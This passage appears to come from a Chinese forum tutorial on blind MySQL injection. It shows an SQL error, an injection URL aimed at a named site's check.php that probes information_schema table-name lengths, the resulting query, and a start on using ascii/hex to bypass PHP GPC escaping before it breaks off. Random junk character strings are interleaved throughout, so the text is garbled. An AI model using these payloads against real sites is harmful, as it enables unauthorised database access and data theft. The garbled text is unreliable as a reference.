select userid from demo_b2b_member where user = 'admin''You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''admin''' at line 1 " W4 T& P' g' O) p: G# U% P/ ^4 H
http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length((select+table_name+from+information_schema.tables+limit+0,1))=14%23 3 H( U. n4 g) G& t
select userid from demo_b2b_member where user = 'admin'and length((select table_name from information_schema.tables limit 0,1))=14#' 0 r) f- B2 J8 h m) o
, w3 S4 f! \1 p6 J- h6 K7 M1 b 复制代码 . G+ W- D# Q0 `( B% F/ h2 M6 Z9 x }上面这个语句,对于information_schema不明白的,可以参考其他MySQL注入文章来看一下这个库的意义。/ \6 q4 B# Z6 ~" H: L" r. K- \
关于limit x,y 的用法,可以参考MySQL手册& _; Q3 a) G! ^2 T
& O2 z! i. n9 \$ z& h8 @最后剩下的要说的就是ascii函数和hex函数了 * y. \0 u& k# X/ L) B# ?这两个函数的意义是避开php的GPC转义,例如: